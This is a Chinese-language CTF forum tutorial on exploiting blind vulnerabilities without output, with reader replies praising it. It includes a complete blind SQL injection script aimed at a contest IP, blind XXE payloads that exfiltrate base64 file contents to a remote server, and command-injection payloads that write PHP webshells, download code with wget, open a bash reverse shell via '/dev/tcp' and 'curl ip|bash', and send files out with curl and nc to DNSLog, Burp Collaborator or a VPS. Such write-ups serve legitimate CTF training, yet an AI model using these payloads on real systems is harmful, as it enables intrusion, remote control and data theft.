用户
搜索
  • TA的每日心情

    8 小时前
  • 签到天数: 19 天

    连续签到: 6 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    3

    主题

    17

    帖子

    281

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-10-24

    i春秋签约作者春秋文阁

    发表于 2020-11-10 22:34:48 119471

    浅谈ctf中的无回显

    前言

    在打ctf中会经常遇到没有回显的情况,比如说命令可执行没有回显,XXE无回显,sql盲注等等,这方面的知识对我来说算是比较零散,没有系统的总结过,在比赛中遇到这种情况总是显得捉襟见肘,于是便决定通过写一篇文章来总结一下这方面的知识。

    常用工具

    工欲善其事必先利其器,在正文之前,先把几种可以在无回显中外带数据的工具介绍一下

    • DNSLog Platform

    地址:http://www.dnslog.cn/

    无需注册,打开网页获取域名点击Get SubDomain即可,这里给的子域名是随机生成的,我这里是siil7y.dnslog.cn

    image-20201110180752477

    • CEYE

    地址:http://ceye.io/

    需要注册,点击右上角的Profile,然后Identifier中的内容就是子域名,这里的子域名是固定的,我这里是k1o75b.ceye.io。相对比上面的DNSLog Platform来说,ceye的功能会更全,我个人比较喜欢用ceye。

    image-20201110181352637

    • Burp Collaborator

    burpsuite1.7版本以上自带的功能

    首先打开burpsuite点击右上角的burp然后点击Burp Collaborator client

    QQ截图20201110181925

    然后点击Copy to clipboard即可获取子域名

    image-20201110182108706

    我这里是5z5n196bdx9sowhmrc2tqxq7syyomd.burpcollaborator.net,这里的地址也是随机生成的。

    • vps

    作为一个ctfer,最好有一台自己的vps,vps主要用来反弹shell,nc监听,以及放置一些文件在上面,放置文件的话需要安装apache,ubuntu安装命令如下

    sudo apt-get update
    apt-get install php7.2 libapache2-mod-php7.2

    然后就可以在/var/www/htm放置自己的文件了

    上面几种工具在大多数时候是可以通用的,本篇文章都是利用他们在无回显的情况下来进行外带数据,各有各的优点和缺点,然后这里只是简单的介绍如何获取工具的子域名,他们其中的具体原理可以自己查阅下资料,这里就不赘述了。

    sql盲注

    布尔盲注

    CTF题目中有时候会出现sql注入没有直接回显数据的情况,但是在注入点输入假或者是真,页面会出现不一样的信息,以此为基础我们可以进行sql布尔盲注。

    这里拿前几天刚刚打的太湖杯CrossFire这道题为例子来说明如何应对这种无直接回显的情况,tips:文章发出时题目环境还有。

    发现有一个id参数可以输入,但是输入1和0的回显不一样,如下图。

    image-20201107221746512

    image-20201107221800783

    然后用if函数判断数据库的第一个字符的ASCII码的大小,payload如下

    if(ascii(substr(database(),1,1))>1,1,0)

    image-20201107221952821

    image-20201107222008777

    发现大于1时和大于1000时这两个极端的回显是不一样的,我们以此为基础写盲注脚本。

    用祖传的二分法盲注脚本跑一下,发现是可以跑出数据库的。

    image-20201107222255655

    可以跑数据库,当然也可以跑表,跑字段,这里就不赘述了

    但是问题来了,这里如何利用这种方法去读取他的一个源文件呢?

    答案是可以使用load_file函数去读取他的文件内容

    image-20201107233227559

    最后我这里贴上完整的盲注脚本

    # -*- coding: utf-8 -*-
    import requests
    def exp(pay):
        url = "http://122.112.249.228:10080/index.php/?id=1+and+"
        result = ""
        for i in range(1, 30000):
            high = 127
            low = 32
            mid = (low + high) / 2
            while high > low:
                payload = "if(ascii(substr("+pay+",%d,1))>%d,1,0)%%23"%(i,mid)
                # print(url+payload)
                response = requests.get(url+payload)
    
                if "upload" in response.text :
                    low = mid + 1
                else:
                    high = mid
    
                mid = (low + high) / 2
    
            result += chr(int(mid))
            print(result)
    
    # pay = 'database()'
    # print('database:')
    # print(exp(pay))
    # pay = '(union select load_file(0x2f6574632f706173737764))'
    # print('/etc/passwd:')
    # print(exp(pay))
    # pay = '(union select load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))'
    # print('/var/www/html/index.php:')
    # print(exp(pay))

    总的来说就是遇到没有直接回显内容的sql注入,但是会返回不同网页内容的时候,就可以立马想到sql盲注,上面的二分法脚本算是通用的脚本,以不变应万变,根据题目的情况改payload即可。

    时间盲注

    直接把上面payload中的1替换为sleep(5),然后观察响应的时间是否等于5秒即可。

    if(ascii(substr(database(),1,1))>1,sleep(5),0)

    相对来说ctf中用到的时间盲注比较少,大多数都是布尔盲注。

    使用dnslog外带数据

    这种方法说实话以前没见过,写本篇文章的时候查阅资料学到的,这里提及一下。

    使用条件:

    dnslog回显只能用于windows系统,原理就是\\\\代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。

    通用payload如下

    select load_file(concat('\\\\',(select database()),'.sy9ti5.dnslog.cn\\kawhi'))

    这里在DVWA的盲SQL靶场试验一下

    image-20201103104021774

    然后在dnslog平台接收一下信息,发现成功接收database()

    image-20201103104046591

    XXE无回显

    在XXE漏洞这类题目里面有时候也会出现无回显的情况,那么如何去应对呢?一般来说主要是使用数据外带,这里我在本地演示如何进行数据外带的整个过程。

    先在本地写入一个XXE没有任何回显的代码

    xml.php

    <?php
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    ?>

    然后在自己的vps上放置

    xml.dtd

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
    <!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">

    这里有几个需要注意的点:

    这里的%会被xml解析成%,这里不能够直接用%,否则会报错。

    注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,因为发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以这里最好用伪协议做一个base64的加密。

    最后我们POST提交的payload

    <?xml version="1.0"?>
    <!DOCTYPE Note [
        <!ENTITY % remote SYSTEM "http://ip/xml.dtd">
        %remote;
        %start;
        %send;
    ]>

    这里的ip同样换成自己的vps的ip

    下一步在vps上开启监听1234端口

    nc -lvp 1234

    然后我们抓xml.php的POST包并发送payload

    image-20201031130640113

    可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。

    image-20201031130513819

    我们来梳理一下他的整个调用过程

    1. 首先我们payload中的% remote去获取vps上的xml.dtd
    2. 然后xml.dtd中的% start去调用% file
    3. % file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
    4. 最后通过% send将数据发送到vps监听的1234端口上

    这就是XXE实现外带数据的整个流程。

    又或者你不想用vps接收数据,用其他的平台也是可以的,比如说用Burp Collaborator,直把xml.dtd中的send地址改成Burp Collaborator的地址即可。

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
    <!ENTITY % start "<!ENTITY % send SYSTEM 'http://rb62rvwpae4uq1p5ntwv6rrhu80yon.burpcollaborator.net/?%file;'>">

    image-20201110112810840

    在CTF比赛也考过这种题型,DozerCTF2020的svgggggg!这道题目就考察了这个点,并且配合了SVG这种基于XML的二维矢量图格式去进行XXE的无回显,具体的解题过程可以看官方的WP:传送门

    命令执行无回显

    在命令执行有时候也会遇到无回显的情况,在前几周大四的师兄给了我一道天融信的靶场笔试题,就是命令可执行但无回显的情况,当时也是做了几个小时,感觉这方面的知识还是有欠缺,这里就详细说明一下如何应对这种无回显的情况。

    这里首先给出可以执行命令但是没有任何回显的一段经典代码,以方便我们下面做实验。

    <!DOCTYPE html>
    <html>
         <head>
         <title>ping一下吧</title>
         </head>
         <body>
              <form action="" method="POST">
                   <input type="text" name="site">
                   <input type="submit" name="submit" value="查询">
              </form>
         </body>
    </html>
    <?php
    error_reporting(0);
    header("Content-Type: text/html;charset=utf-8");
    if(isset($_POST['submit'])){
    // Get input
    $target = $_REQUEST['site'];
            // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    }
    ?>

    tips:我是放在linux的环境下,保存为ping.php

    判断是否执行

    前提条件是首先命令可以成功的被执行,那么我们如何判断呢?下面给出3种常见的方法。

    • 使用dnslog平台

    我们直接输入以下两行的其中一行,点击查询。

    |curl `whoami`.gbpiyl.dnslog.cn
    |ping `whoami`.gbpiyl.dnslog.cn

    image-20201105202458327

    可以看到在dnslog平台接收到信息,证明我们的命令是可以被执行的。

    image-20201105201310002

    简单的说就是我们通过ping命令或者curl命令去请求dnslog的这个域名的时候,会进行一个域名解析,然后在平台上就能够接收到信息。

    • 使用vps服务器

    在我们的vps上开启监听。

    nc -lvp 1234

    然后向服务器发起请求,执行curl命令。

    |curl ip:1234

    如下图,可以看到vps成功接收到信息,说明存在命令执行。

    image-20201105203152400

    这里要注意的是由于ping命令不会产生http请求,所以这种方法只能用curl来实现。

    • 利用延时方法

    我们使用sleep让他延时10秒,观察响应的时间是否相等,如果相等就证明存在命令执行。

    image-20201105203522587

    进一步利用

    在确定某个地方存在命令执行后,我们如何进一步利用呢?

    写入文件

    既然可以命令执行,最常见的方法就是写文件,下面介绍3种常用的方法来写文件。

    • 利用>或者>>把我们需要执行的命令写入文件里面

    他们两个的区别就是,>会覆盖原文件内容,>>则是追加内容

    例如把ls的结果写入1.txt里面

    |ls > 1.txt

    image-20201106160154080

    将ping.php文件内容写入ping.txt。

    |cat ping.php > ping.txt

    甚至可以通过base64进行加密读取

    |cat ping.php|base64 > ping.txt
    • 通过echo写入webshell

    直接写入一句话木马,payload如下

    |echo "<?php @eval(\$_POST[cmd]);?>">shell.php

    注意这里的$一定要加\转义,否则写进去之后会缺少$_POST

    像之前打羊城杯的时候有道题就是没有考虑$的转义,一直写不进去,困扰了好久,但是后来队里的Gq师傅用了另外一种方法写的shell,这里顺便分享一下。

    这里是利用无参数函数嵌套构造GET传参的的一句话木马,经过测试下面两行都可以执行,当时比赛用的是第二行。

    |echo "<?=eval(pos(pos(get_defined_vars())))?>">shell.php
    `echo "<?=eval(pos(pos(get_defined_vars())))?>">shell.php`

    image-20201106162148516

    顺便贴一下POST的一句话木马

    |echo "<?=eval(pos(next(get_defined_vars())))?>">shell.php

    原理也很简单,如果看不懂这个一句话木马的话,在本地打印get_defined_vars的值,看看是什么,或者可以参考我的博客羊城杯这篇复盘的文章:传送门,这里就不再赘述。

    • 利用wget下载

    wget是一个下载文件的工具,前提是环境存在这个命令才可以使用。

    首先在vps上放置我们的一句话木马,这里我放在1.txt里面

    然后使用参数-O来指定写入文件名的名字,这里写入shell.php,payload如下

    |wget http://ip/1.txt -O shell.php

    或者用下面的payload

    |wget http://ip/1.txt > shell.php

    在先知社区上看有师傅就用这种方法Getshell,可以参考:无回显Rce到Getshell

    反弹shell

    既然可以命令执行,我们很容易想到可以反弹shell,反弹shell一般是bash反弹比较常见,但是bash反弹shell的那一段命令有点长而且特殊字符比较多容易被过滤,为了方便起见我们把bash反弹shell的语句写在vps上,再用curl执行他,具体流程如下:

    将以下内容写入/var/www/html/index.html,或者你写进/var/www/html/目录下其他的文件也行,这里我选择1234端口,ip为你的vps的ip地址。

    bash -i >& /dev/tcp/ip/1234 0>&1

    然后在vps开启监听

    nc -lvp 1234

    在可命令执行的地方输入

    |curl ip|bash

    然后就成功的将shell反弹到我们的vps上了

    image-20201106164703108

    改文件类型

    众所周知,php文件是无法直接显示的,既然可以命令执行,我们不妨使用一些命令比如cp,mv,zip,tar等修改php文件的类型为txt或者zip,然后读取文件的信息。

    • cp(英文全拼:copy file)命令主要用于复制文件或目录。

    可以使用cp命令将php后缀的文件拷贝一份为txt后缀,从而读取更多信息,这里把刚刚写进去的shell.php拷贝为shell.txt。

    |cp shell.php shell.txt

    image-20201106195926474

    • mv(英文全拼:move file)命令用来为文件或目录改名、或将文件或目录移入其它位置。

    用mv命令将shell.php直接改名为shell.txt,然后可以直接读取

    |mv shell.php shell.txt
    • zip 命令用于压缩文件。

    用zip命令将shell.php打包压缩为shell.zip,然后可以直接下载,解压即可读取。

    |zip shell.zip shell.php
    • tar(英文全拼:tape archive )命令用于备份文件。

    用tar命令将shell.php压缩为shell.tar.gz,然后可以直接下载,解压即可读取

    |tar zcvf shell.tar.gz shell.php

    利用工具外带数据

    这里介绍4种工具来外带数据

    • 使用ceye或者dnslog

    这两个差不多,这里用ceye演示

    前面在判断是否执行的时候已经说过了,可以使用反引号加上ceye的地址去进行外带数据,如下

    |curl `whoami`.k1o75b.ceye.io

    甚至可以以base64的形式发送数据

    |curl `whoami|base64`.k1o75b.ceye.io

    但是这里用外带数据读文件的话,看似简单,还是有些小问题还是值得探讨的

    这里我写入一个flag.php内容如下,请注意我加了小空格

    FLA G1{this_is_flag1}
    FLA G2{this_is_flag2}

    如果我们直接用如下命令读取

    |curl `cat flag.php`.k1o75b.ceye.io

    我们看看读取了什么内容

    image-20201110085505981

    发现只读取了G2{this_is_flag2},也就是第二行空格后面一部分的内容

    如果我们加上去掉空格会如何呢,payload如下

    |curl `cat flag.php|sed s/[[:space:]]//g`.k1o75b.ceye.io

    image-20201110090054376

    发现读取了完整的第二行的内容,这里解释一下sed s/[[:space:]]//g的意思

    sed是linux的一个命令,可依照脚本的指令来处理、编辑文本文件,后面紧接的s则是取代的意思,[:space:]匹配空白字符,包括空格,tab,g表示全局匹配,也就是说把内容中的空格给替换了。

    那么这里就还有一个问题就是,如何去读取第一行的内容,我们可以继续利用sed

    |curl `cat flag.php|sed -n '1p'|sed s/[[:space:]]//g`.k1o75b.ceye.io

    利用-n去读指定的行数

    image-20201110091110044

    可以发现成功读取了第一行的内容

    我们甚至可以利用cut命令的-c去读指定的的字符,比如

    |curl `cat flag.php|sed -n '1p'|cut -c 2-6|sed s/[[:space:]]//g`.k1o75b.ceye.io

    可以看到成功读取到第一行的2-6这个范围的字符

    image-20201110091805035

    也就是说通过这两个命令我们可以读取文件的所有内容。

    • 利用Collaborator Client

    payload如下

    |curl -X POST -F file=@flag.php http://79ejgy6rr0u05hffq55whqrhw82yqn.burpcollaborator.net

    这里是利用-X指定发送一个POST请求,然后用-F指定要发送的文件,注意这里的@不能够省略,经过测试,缺少@会报一个400的错误,然后提示请求所需的file不存在。

    我们直接在命令执行处输入上面的payload,成功接收到flag.php的信息

    image-20201110100919337

    • 利用vps进行nc

    我们在vps上监听端口1234

    nc -lvp 1234

    然后在命令执行处进行nc,payload如下

    |nc ip 1234 < flag.php

    ip为vps的ip地址,可以看到成功接收到了flag.php的内容

    image-20201110110143205

    默认是TCP检测,如果要检测UDP的话要指定-u参数。

    nc -ulvp 1234
    |nc -u ip 1234 < flag.php

    总结

    由于篇幅和水平有限,这里只介绍了sql盲注,XXE无回显,命令执行无回显三种CTF常用到的一些操作,如果有不足之处请大家指出,轻点喷。

    然后命令执行无回显在CTF中由于环境有些命令不可用或者说存在过滤等等,有些方法不一定可行,所以可以各种方法结合绕过试一下。

    参考链接

    https://www.cnblogs.com/sstfy/p/10351807.html

    https://xz.aliyun.com/t/8125

    文章很棒 感谢楼主分享
    使用道具 举报 回复
    发表于 2020-11-11 10:46:51
    可爱的小雨淅淅 发表于 2020-11-11 09:37
    文章很棒 感谢楼主分享

    蟹蟹,被版主大大回复了,受宠若惊
    使用道具 举报 回复
    kawhi 发表于 2020-11-11 10:46
    蟹蟹,被版主大大回复了,受宠若惊

    别介!   一起加油 ~
    使用道具 举报 回复
    J0o1ey 超级版主 培训/业务/联系Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手
    4#
    发表于 2020-11-11 16:46:11
    感谢兄弟分享,总结的很全面啦,点赞!
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    使用道具 举报 回复
    发表于 2020-11-11 21:22:58
    J0o1ey 发表于 2020-11-11 16:46
    感谢兄弟分享,总结的很全面啦,点赞!

    哇哦,蟹蟹超级版本大大
    使用道具 举报 回复
    发表于 2020-11-12 21:29:24
    感谢分享
    使用道具 举报 回复
    发表于 2020-11-12 22:35:47
    感觉学到了很多
    My blog :http://www.e-wolf.top
    使用道具 举报 回复
    发表于 2020-11-12 23:10:16

    蟹蟹版主大大,一起进步
    使用道具 举报 回复
    发表于 2020-11-12 23:24:17

    蟹蟹,一起进步
    使用道具 举报 回复
    发表于 2020-11-18 17:39:56
    厉害了表哥
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2020-11-19 00:12:41

    蟹蟹村长大大夸奖
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册